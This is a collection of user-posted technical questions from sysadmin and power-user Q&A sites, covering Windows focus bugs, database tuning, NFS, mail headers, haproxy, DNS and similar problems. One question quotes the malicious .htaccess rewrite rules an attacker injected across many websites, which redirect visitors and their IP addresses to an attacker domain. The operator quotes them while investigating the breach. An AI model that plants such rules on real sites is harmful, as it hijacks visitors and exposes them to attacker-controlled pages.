• Vista: window focus problem

  - by GateKiller

  Sorry for the vague title but this one is hard to explain so bear with me please. I'm using Windows Vista at work for web development and sometimes when I Click or Alt-Tab to background window, the window will get focus but it will not be brought to the front. In order to bring the window to the front, I have to click on the applications border (when the resize cursor appears) and the window will then jump to the front. I've had this problem for about a year now and it happens at least a dozen times a day, but it doesn't do this all the time - seems random. I hope I have explained the issue fully (and you've understood it) and would appreciate any constructive answers or comments to solve this problem. Example: If I Alt-Tab from Google Chrome to Notepad and this problem randomly occurs, Google Chrome will remain in front of Notepad, however, I will be able to type text into Notepad while the window is behind Google Chrome. Clicking on Notepad's content area will not bring it to the front but clicking it's window border will. Video Exampe http://vimeo.com/19388998 In this video, I clicked from Google Chome to UltraEdit and chrome stayed in font, but as you can see, I can still type in UltraEdit. I'm starting to believe that this could be a bug in Google Chrome so I'll continue to watch if this between other applications.

• How to optimize a postgreSQL server for a "write once, read many"-type infrastructure ?

  - by mhu

  Greetings, I am working on a piece of software that logs entries (and related tagging) in a PostgreSQL database for storage and retrieval. We never update any data once it has been inserted; we might remove it when the entry gets too old, but this is done at most once a day. Stored entries can be retrieved by users. The insertion of new entries can happen rather fast and regularly, thus the database will commonly hold several millions elements. The tables used are pretty simple : one table for ids, raw content and insertion date; and one table storing tags and their values associated to an id. User search mostly concern tags values, so SELECTs usually consist of JOIN queries on ids on the two tables. To sum it up : 2 tables Lots of INSERT no UPDATE some DELETE, once a day at most some user-generated SELECT with JOIN huge data set What would an optimal server configuration (software and hardware, I assume for example that RAID10 could help) be for my PostgreSQL server, given these requirements ? By optimal, I mean one that allows SELECT queries taking a reasonably little amount of time. I can provide more information about the current setup (like tables, indexes ...) if needed.

• Mounted NFS directory not writable by Apache / PHP

  - by phpfour

  Need some help here with NFS. Here's what I have (all servers running CentOS 5.6 with SELinux): 172.17.20.1 - Primary server with static IP. Varnish redirects requests to the web servers. 172.17.20.2 - Web server 1 172.17.20.3 - Web server 2 The application residing on the web servers is running Drupal and I need both of them to share the same files directory. I have created a folder in 172.17.20.1 called /var/nfs with root user. Here is my /etc/exports content: /var/nfs 172.17.20.2(rw,sync,no_root_squash) 172.17.20.3(rw,sync,no_root_squash) On both the web servers (172.17.20.2/3), I have it mounted like below: [root@web2 ~]# mount ... 172.17.20.1:/var/nfs on /mnt/nfs/var/nfs type nfs (rw,sync,hard,intr,addr=172.17.20.1) On all the servers, I've added the user apache to the root group to get the desired write access: [root@main ~]# cat /etc/group root:x:0:root,apache .... .... apache:x:48: [root@web1 ~]# cat /etc/group root:x:0:root,apache .... .... apache:x:48: Despite all this, when I try to write files into the /mnt/nfs/var/nfs folder from Drupal/PHP, it cannot write to it. I even tried with a simple PHP upload script but it doesn't work, so the problem is not with Drupal. Any help you guys can do is much appreciated. I've spent hours and hours with it, without any success :( Thanks in advance.

• Correct use of SMTP "Sender" header?

  - by Eric Rath

  Our web application sends email messages to people when someone posts new content. Both sender and recipient have opted into receiving email messages from our application. When preparing such a message, we set the following SMTP headers: FROM: [email protected] TO: [email protected] SENDER: [email protected] We chose to use the author's email address in the FROM header in an attempt to provide the best experience for the recipient; when they see the message in their mail client, the author is clear. To avoid the appearance of spoofing, we added the SENDER header (with our own company email address) to make it clear that we sent the message on the author's behalf. After reading RFCs 822 and 2822, this seems to be an intended use of the sender header. Most receiving mail servers seem to handle this well; the email message is delivered normally (assuming the recipient mailbox exists, is not over quota, etc). However, when sending a message FROM an address in a domain TO an address in the same domain, some receiving domains reject the messages with a response like: 571 incorrect IP - psmtp (in reply to RCPT TO command) I think this means the receiving server only saw that the FROM header address was in its own domain, and that the message originated from a server it didn't consider authorized to send messages for that domain. In other words, the receiving server ignored the SENDER header. We have a workaround in place: the webapp keeps a list of such domains that seem to ignore the SENDER header, and when the FROM and TO headers are both in such a domain, it sets the FROM header to our own email address instead. But this list requires maintenance. Is there a better way to achieve the desired experience? We'd like to be a "good citizen" of the net, and all parties involved -- senders and recipients -- want to participate and receive these messages. One alternative is to always use our company email address in the FROM header, and prepend the author's name/address to the subject, but this seems a little clumsy.

• How to get just value from database query in Excel?

  - by Corin

  I'm creating a spreadsheet as a collection point of information from a number of MS Access databases. I will run a query on each database to get a count of records in a particular table. Each database has the same structure but different content as they are used in different situations. So the query returns a single value, rec_count. I've figured out how to create that query, save it and then use it as the data source. So far so good. The problem is that Excel treats the query results as a table. So instead of getting just the single value the query returns, I also get the field name. Thus the result takes up two cells instead of one. When linking in the data source, I only see Table, PivotTable Report and PivotChart as options for viewing the data. I don't want any of those. I just want the single value without any formatting, column headers, etc. Is there a way to do this is Excel 2007?

• Javascript loading never completes on many sites

  - by Joe

  I recently moved country and have found that on many websites the page never finishes loading. In some cases, no content is ever displayed, but the loading will never time out. Loading Developer Tools in Chrome shows me that it is the Javascript files which never load. For example, this BBC article will never load compatability.js, though will load all the other JS files perfectly. Google Maps often fails to finish loading, meaning it's impossible to make searches. There seems to be no pattern to which files will fail to load (i.e. they don't come from the same CDN). I have tried Chrome, Safari and Firefox on OSX 10.8, and Chrome on my girlfriend's OSX 10.7. I have similar issues on the iPad. In many cases, if I can go to the mobile version of the page that seems to load fine. I have run the browsers in private mode, disabled plugins, updated flash, cleared the cache, flushed the DNS cache - though it would seem that if this is happening on other devices, none of this would work anyway. Is this an ISP issue? And if so, why would it be limited to certain JS files and not all? JS files from the same domain work fine, so I'm not really sure what I should be looking for.

• How does Safari's Reader work and when does it show up?

  - by TestSubject528491

  Safari's Reader feature is a cool little app that displays a web page as a newspaper article --- without all the distracting sidebars, comments, and ads. Sometimes it works and sometimes it doesn't, and I'm wondering how "it knows when to show up." On my personal website, one of the pages has this option. You can click the Reader button in the URL bar and it is displayed beautifully like a page in an iBook. However, none of my other web pages (on the same site) do this. I thought it had something to do with the <article> tag, but I removed that and it still works. Anyone know how this app works? Also, does anyone know of any Chrome extensions that are just like this? Google Reader is not the same thing. PS: From the cited Apple website: Safari Reader As you browse the web, Safari detects if you are on a web page with an article. Click the Reader button that appears in the Smart Address Field and an elegant view of the article appears — without any distracting content. Not much help, is it?

• Ubuntu 13.10 - How to disable LVM and cryptsetup? cryptsetup: evms_activate is not available

  - by NeverEndingQueue

  I am trying to remove whole drive encryption from my Ubuntu installation. I've run Ubuntu from Live CD, mounted crypt partition and copied it to another partition /dev/sda3. sudo cryptsetup luksOpen /dev/sda5 crypt1 sudo dd if=/dev/ubuntu-vg/root of=/dev/sda3 bs=1M After that I've run boot-repair: https://help.ubuntu.com/community/Boot-Repair Added entry to /etc/fstab: UUID=<uuid> / ext4 errors=remount-ro 0 1 Of course I've replaced with blkid result of my /dev/sda3. I've also deleted overlayfs and tmpfs lines from /etc/fstab. (I've just compared it to content of /etc/fstab in non-encrypted Ubuntu installation and could not find overlayfs and tmpfs). I've chrooted from LiveCD into my system and rebuilt initramfs: http://blog.leenix.co.uk/2012/07/evmsactivate-is-not-available-on-boot.html I've also removed cryptsetup using apt-get remove. Basically I can easily mount my system partition from Live CD (without setting up the encryption and LVM stuff), but can not boot from it. Instead I see: cryptsetup: evms_activate is not available When I've chosen the Recovery mode I've seen this: Begin: Mounting root file system ... Begin: Running /script/local-top ... Reading all physical volumes. This may take a while ... No volume groups found cryptsetup: evms_activate is not available Begin: Waiting for encrytpted source device ... My /etc/crypttab is empty. I am pretty sure that system tries to find encrypted partition, search for LVMs etc. Do you have ideas what could be the problem or how can I fix it? Thanks

• Can Haproxy deny a request by IP if its stick-table is full?

  - by bantic

  In my haproxy configs I'm setting a stick-table of size 5 that stores every incoming IP address (for 1 minute), and it is set as nopurge so new entries won't get stored in the table. What I'd like to have happen is that they would get denied, but that isn't happening. The stick-table line is: stick-table type ip size 5 expire 1m nopurge store gpc0 And the whole configs are: global maxconn 30000 ulimit-n 65536 log 127.0.0.1 local0 log 127.0.0.1 local1 debug stats socket /var/run/haproxy.stat mode 600 level operator defaults mode http timeout connect 5000ms timeout client 50000ms timeout server 50000ms backend fragile_backend tcp-request content track-sc2 src stick-table type ip size 5 expire 1m nopurge store gpc0 server fragile_backend1 A.B.C.D:80 frontend http_proxy bind *:80 mode http option forwardfor default_backend fragile_backend I have confirmed (connecting to haproxy's stats using socat readline /var/run/haproxy.stat) that the stick-table fills up with 5 IP addresses, but then every request after that from a new IP just goes straight through -- it isn't added to the stick-table, nothing is removed from the stick-table, and the request is not denied. What I'd like to do is deny the request if the stick-table is full. Is this possible? I'm using haproxy 1.5.

• How can I automatically edit an email before auto-forwarding it?

  - by Miss Cellanie

  Is there a way to automatically edit emails before forwarding them? I'm getting email notifications from Foursquare that I want to send to my phone as text messages. I know how to send messages to my number using an email address (I'm in the US and use Verizon) but I don't know how to strip out any unnecessary formatting, like HTML, before the email gets sent. What I want: Ability to strip out HTML Ability to start forwarding at a specific part of the email based on a search (e.g., I might know that Foursquare starts their messages with "Hey hey!" and only want content after that phrase occurs) Ability to truncate at 160 characters Things I've tried: I'm not using Foursquare DM pings through Twitter because I have two Twitter accounts and Twitter only allows a phone to be linked to one account at a time. I'm not willing to change which account it's linked to. I tried to work around the Twitter limitation using Google Voice, but they don't support SMS short codes. I'll compromise on the features I want if I can find a free solution that doesn't require me to set up my own server. I do think this is computer related because it will happen on my computer, not on my phone. edit My current setup: Gmail in Firefox 3.0.15 on Windows XP. I use a netbook as my only personal computer. However, if the only way to accomplish this well is to set up my own mail server or something, I would still want to know that.

• Some doubts about the use of usermod and groupmod command

  - by AndreaNobili

  I am not yet a true "Linux guy" and I have the following doubts about how exactly do the following shell procedure (a list of commands steps) founded in a tutorial that I am following (I want deeply understand what I am doing before do it): sudo passwd root then login again as root usermod -l miner pi usermod -m -d /home/miner miner groupmod -n miner pi exit So at the beginning it enable the root account and I have to login again in the system as root...this is perfectly clear for me. And now I have the followings doubts: 1) The usermod command: usermod -l miner pi usermod -m -d /home/miner miner Reading the official documentation of the usermod command I understand that this command modify the informations related to an existing account Reading the documentation it seems to me that the -l parmether modify the name of the user pi in miner and then the -m -d paramether move the contents of the old home directory to the new one (named miner) and use this new directory as home directory My doubt is: what exactly do the executions of these operation? I think that: Rename the existing pi user in miner Then move the content of the old home directory (the pi home directory? or what?) into a new directory (/home/miner) that now is the home directory for the miner user. Is it right? The the second doubt is related to this command groupmod -n miner pi It seems to me that change the group name from pi in miner But what exactly is a group in Linux and why is it used?

• deploy git project and permission issue

  - by nixer

  I have project hosted with gitolite on my own server, and I would like to deploy the whole project from gitolite bare repository to apache accessible place, by post-receive hook. I have next hook content echo "starting deploy..." WWW_ROOT="/var/www_virt.hosting/domain_name/htdocs/" GIT_WORK_TREE=$WWW_ROOT git checkout -f exec chmod -R 750 $WWW_ROOT exec chown -R www-data:www-data $WWW_ROOT echo "finished" hook can't be finished without any error message. chmod: changing permissions of `/var/www_virt.hosting/domain_name/file_name': Operation not permitted means that git has no enough right to make it. The git source path is /var/lib/gitolite/project.git/, which is owned by gitolite:gitolite And with this permissions redmine (been working under www-data user) can't achieve git repository to fetch all changes The whole project should be placed here: /var/www_virt.hosting/domain_name/htdocs/, which is owned by www-data:www-data. What changes I should do, to work properly post-receive hook in git, and redmine with repository ? what I did, is: # id www-data uid=33(www-data) gid=33(www-data) groups=33(www-data),119(gitolite) # id gitolite uid=110(gitolite) gid=119(gitolite) groups=119(gitolite),33(www-data) does not helped. I want to have no any problem to work apache (to view project), redmine to read source files for project (under git) and git (doing deploy to www-data accessible path) what should I do ?

• How to make Firefox file associations consistent with Ubuntu file associations?

  - by wbharding

  This seems to be a pretty commonly Google question, but one for which there are no answers. http://www.linuxquestions.org/questions/linux-software-2/firefox-download-mime-types-378902 http://www.birkit.com/content/kubuntu-linux/internet/firefox/fix-file-associations-in-firefox.html Being three links amongst the many. The gist of what I want to accomplish is to have Firefox understand the file associations I download without me having to manually map all of them myself. Gnome knows the file extensions, so I would have expected that Firefox could just use the already-known file mappings there to open the right stuff (as I presume Chrome does). But it doesn't. At least not for me, using Firefox 4, and not by default. When I click on a downloaded file right now, Firefox always has to ask me what application should be used to open the file. A handful of Google results tell me that I can reassociate my file extensions by deleting ~/.mozilla/firefox/[profile name]/mimeTypes.rdf, but while deleting that file does in fact result in a new mimeTypes file being generated, the new mimeTypes is just as barren as the old one had been. Based on the amount of unanswered Qs on the Googlesphere, I know this is a very common problem for Ubuntu users, but it seems to be one for which nobody has chimed in with a good solution. Maybe Superuser can finally be the panacea for us all?

• Display errors using VMWare Player and Remote Desktop on Windows XP

  - by Tim

  I've come up against a weird display issue that I can't seem to find any "fix" for. When I first boot up my computer, everything behaves normally. If I start to use VMWare Player and/or Remote Desktop, my desktop starts having some odd video issues. The frames for some windows aren't drawn at all, if I move windows around rapidly, the area under where the window used to be isn't cleared (still shows artifacts of the content of the window), etc. In some cases, the minimize / restore / maximize buttons aren't drawn (but are click-able if you can guess where they are). I've tried the usual stuff - current drivers all around, using a single monitor, etc.. none of it seems to have any bearing. If I try to disable hardware acceleration, it tends to crash the computer. As I said earlier, it's running Windows XP, dual monitors, an NVidia en8400GS video card, asus p7p55d motherboard. Not sure what other pertinent details are needed. I would appreciate any help or suggestions!

• Cant configure DNS properly on centos

  - by Nuker

  I am on a VPS i must manage my own. I have network problems because in the last days many of my users report they cant enter my site from my domain and seems like Google and Facebook cant either (this never happened before). However i can enter my site without problems and so many other people as well. So i tested by making a php include like this <?php include 'http://mysite.com/somepage.php'; ?> and i get this error: Warning: include(): php_network_getaddresses: getaddrinfo failed: Name or service not known in I even tried by including content from yahoo.com or facebook and didnt work either. However the includes will work if i use IPs instead of domains. Do i have a DNS problem or something? What can i do to fix it? Im on a Linux 2.6.32-431.11.2.el6.x86_64 on x86_64 CentOS Linux 6.5 I have this on my resolv.conf # Generated by NetworkManager # No nameservers found; try putting DNS servers into your # ifcfg files in /etc/sysconfig/network-scripts like so: # # DNS1=xxx.xxx.xxx.xxx # DNS2=xxx.xxx.xxx.xxx # DOMAIN=lab.foo.com bar.foo.com nameserver 8.8.8.8 nameserver 8.8.4.4 Thank you.

• Finding Webserver Vulnerability

  - by Brent

  We operate a webserver farm hosting around 300 websites. Yesterday morning a script placed .htaccess files owned by www-data (the apache user) in every directory under the document_root of most (but not all) sites. The content of the .htaccess file was this: RewriteEngine On RewriteCond %{HTTP_REFERER} ^http:// RewriteCond %{HTTP_REFERER} !%{HTTP_HOST} RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR} Googling for that url (which is the md5 hash of "antivirus") I discovered that this same thing happened all over the internet, and am looking for somebody who has already dealt with this, and determined where the vulnerability is. I have searched most of our logs, but haven't found anything conclusive yet. Are there others who experienced the same thing that have gotten further than I have in pinpointing the hole? So far we have determined: the changes were made as www-data, so apache or it's plugins are likely the culprit all the changes were made within 15 minutes of each other, so it was probably automated since our websites have widely varying domain names, I think a single vulnerability on one site was responsible (rather than a common vulnerability on every site) if an .htaccess file already existed and was writeable by www-data, then the script was kind, and simply appended the above lines to the end of the file (making it easy to reverse) Any more hints would be appreciated.

• Firefox url / link to a group of saved bookmarks?

  - by This_Is_Fun

  In Firefox you can easily save a group of tabs together. When (re-)accessing this group, the 'cascading' bookmark menu shows each individual bookmark (and under a line) it says "open all in tabs" I'm looking for a way to launch those tabs without going up through the bookmark menu. Possible options: A) Record a simple macro w/ any number of "superuser" utilities* ('A' is not the preferred option, since many 'little-macros' are hard to keep track of) b) Use Autohotkey (similar to option 'A' and more flexible once you learn the basics) c) How does Firefox load all those tabs? The info must be stored somewhere (as a type of URL??) Quick Summary: The moment I click on "open all in tabs", I am clicking on something very similar to a hyper-link. How do I find the content (exact code) of that 'hyper-link', and / or "How do I easily launch the tabs?" .. . New EDIT #1: I'm looking for a way to launch those tabs without going up through the bookmark menu, or cluttering the bookmarks toolbar which I hide anyway :o) .. . New EDIT #2: I tried to keep the question simple and not mentioning Autohotkey programming. The objective is to launch all tabs using a button on an AHK gui. When grawity said, "It's just an ordinary folder containing ordinary bookmarks," he (she) reminds me I can easily find the folder / Now how to launch to urls inside that folder? .. FYI: (Basic-level) AHK works like this: ; Open one folder ButtonWinMerge_Files: Run, C:\Program Files\WinMerge\ Return .. ; Use default web browser for one link ButtonGoogle: Run, http://google.com Return .. . Question still open: The moment I click on "open all in tabs", I am clicking on something very similar to a hyper-link. "How to 'replicate' the way Firefox launches the tabs with one click?"

• Never getting a JSON response when running server-side PHP proxy script but I do with others

  - by Dohk

  I'm on PHP 5.3.4 and Apache 2.2 btw So I'm using (or trying to use) Simple PHP Proxy (Simple PHP Proxy) I enter a URL at his example page at SPP Example Page and it works fine, I see the JSON response and all the headers. However, when I copy the exact URL, only changing the URL to now have localhost, I get both empty headers and no JSON. Assuming that the script on his site is the same I downloaded, could this be due to a multitude of things or a setting in Apache and/or the PHP ini? So for example: benalman.com/code/projects/php-simple-proxy/ba-simple-proxy.php?url=http://github.com/&full_headers=1&full_status=1 That will get me a ton of info back Now changing to localhost http://localhost/ba-simple-proxy.php?url=http://github.com/&full_headers=1&full_status=1 {"headers":[],"status":{"url":"https:\/\/github.com\/","content_type":"text\/html","http_code":301,"header_size":194,"request_size":182,"filetime":-1,"ssl_verify_result":0,"redirect_count":1,"total_time":0.094,"namelookup_time":0,"connect_time":0.047,"pretransfer_time":0,"size_upload":0,"size_download":185,"speed_download":1968,"speed_upload":0,"download_content_length":185,"upload_content_length":0,"starttransfer_time":0,"redirect_time":0.047,"certinfo":[]},"contents":null} I even went basic and just used some curl and of course, empty objects being returned other than false for my content and the url I set in my JSON.

• Exchange migration: ExchangeTransport warnings after uninstalling source server

  - by carlpett

  After disabling/uninstalling Exchange from our source SBS2003 server, I'm getting these warnings: Event 5020 "The topology doesn't contain a route to Exchange 2000 Server or Exchange Server 2003 sourceserver.domain.local in Routing Group [...]" Event 5006 "Cannot find route to Mailbox Server CN=SOURCESERVER [...] for store CN=[...]", for Public folder, First storage group and Recovery storage group. I followed the technet article here: http://technet.microsoft.com/en-us/library/bb288905.aspx (linked from the SBS 2003 - 2011 migration guide). When uninstalling Exchange, I got a warning about NNTP not being found in the registry, but that didn't seem relevant, and the uninstall continued. The server was subsequently removed from the domain and shut down, as per the instructions. If I open the Public Folder Management console on the Exchange 2010 server, the public folders \NON_IPM_SUBTREE\EFORMS_REGISTRY and \Archived mails gives an error on "Update content". I haven't found anything else which indicates something is wrong. We never really used the public folders on the old server, so there isn't really anything lost. Can I just remove these folders and let them be created anew?

• AT&T Filtering FTP traffic?

  - by xpda

  Using an AT&T DSL, I cannot ftp upload or ftp download a few files of a large 1500 set. The problem is the file name. I can change a few characters of the file name, and they upload fine. I can change the file names from upper to lower case and they upload fine. If I change back to the original file name, it will not upload again. When it doesn't upload, it starts, transfers about 5% of a 5-10 meg file, and then times out. I have uploaded one of the files under a different name, changed the name back to the original, and it will not download via ftp. It will download onto a browser, and it will ftp download just fine with a different name. It just will not download with ftp. I have reproduced this uploading to three different servers on 1and1 and Amazon EC2. When I try it on a non-AT&T ISP client, it works OK. Here is a file that did not upload until I had renamed it. (I have changed it back to the original name): "http://xpda.com/nautnew/11302 STOVER POINT TO PORT BROWNSVILLE SIDE A.png" This problem is unrelated to connection, speed, and file content. Only things I can see that makes a difference are the file name and ATT DSL. Does ATT have some kind of ftp file filtering? Is there anything else that could cause this behavior?

• Automatically update SVN repository on another server

  - by Mikey C

  We have 2 Ubuntu web servers, one of which is our staging server (Staging) and the other is our live server (Live). Staging has our Subversion repository, as well as the latest version of our sites on it. Because the SVN server is running on Staging, I've added post-commit hook scripts so that the staging server automatically has the latest code. Easy. However, I'd like one of the repositories on Live to also stay updated. This is a repository of images, PDFs and suchlike. When a team member commits to this, I'd like it to automatically update on the live servers so it can be used in mailings, content managed pages etc. I'd add something to the post-commit to SSH across and update, but for security, we can only SSH from one server to another as user 'commandLine', whereas the 'www-data' user runs the post-commit. I'd rather not run a cron on Live to update every 5 minutes, but I can't see another way of doing it without altering all our user permissions. Any ideas?

  Hi folks, I am new here and I could really use some advice please. I am having a problem with our file server. When I try to browse the shared folders using explorer, several of the shared folders all appear to have the same name. Whenever I attempt to rename one of the affected folders, all the affected folders name also change. Our File Server is Windows Server 2003 R2. I am logged on directly to the server using remote desktop. When I open the folder all is as it should be, the proper content is there and the address bar displays the correct folder name and path. The share names are correct, so everything that needs to access the shared folder/files can do so. Also when I browse to the folder using the command-line all it as it should be there too. The only issue seems to be the incorrect display name when browsing using explorer. Can anyone offer any advice or help as to how to resolve this issue please? It would be most appreciated. Thanks

• is there a man in the middle attacking to my server machine?

  - by GongT

  My server works well about half a year. But a strange thing happened (several hours before). This server has two IP-address 58.17.85.19 & 117.21.178.19 When I navigate to http://58.17.85.19, nothing different as before. But http://117.21.178.19 will return a "302 Object moved" and become a "redirect loop" I do some test: ($cmd = "wget http://117.21.178.19/?xx=$RANDOM --max-redirect 0 -S --no-cache -O -") Step by step: run $cmd on my PC and my firend's one (we live in two side of China, far away). - got 302 run $cmd on this server - got 200 OK (content is correct result of index.php) run $cmd on another server in same computer room - got 200 OK telnet from my PC and build an HTTP request (type by hand) - got 200 OK shutdown php-fpm, run $cmd on my PC - got 302 run $cmd on server - 502 Bad Gateway shutdown nginx, run $cmd on both the server and my PC - Connection refused. create iptables rule, refuse any connection to 58.17.85.19:80. run nc -l 80 -k -vvv on server and run $cmd on my PC NC show me that.... Server accept connection (Connection from [my ip]) My connection closed ! (Remove fd xx from list) wget dump out response - got 302 I know that, normaly, NC will accept connection, then dump HTTP request from client, and client will wait for response. this connection will open forever(infact client will close connection becouse timeout), becouse NC can't give any response. So... where my request gone? who send an response to the client? some virus on my server system? If so, why 58.17.85.19 didn't has this error? or... I was attacked by a middleman?

• erratic response times with Apache 2.0.52 on redhat 4.

  - by Kevin

  Under load, we've noticed response times from Apache vary greatly for the same 7k image. It can range anywhere from .01 seconds to 25 seconds or greater. Unfortunately, due to corporate policy constraints we are pretty much stuck on Apache 2.0.52. I'm at best an Apache novice so I'm in over my head with this problem. My focus recently has turned to our choice of MPM modules. We use the worker model on a dual core hyper threaded blade. It doesn't appear that swapping is an issue, and I don't see any signs of a hardware problem. I've read that worker is optimal on hardware with many CPU's where prefork it more suitable for our specific hardware profile. I can see conceptually how choosing the wrong MPM could result in this erratic behavior, but I'm not confident that it's the root cause here. Has anyone else seen this type of range in your response times for simple static content? What else should I be looking into here?
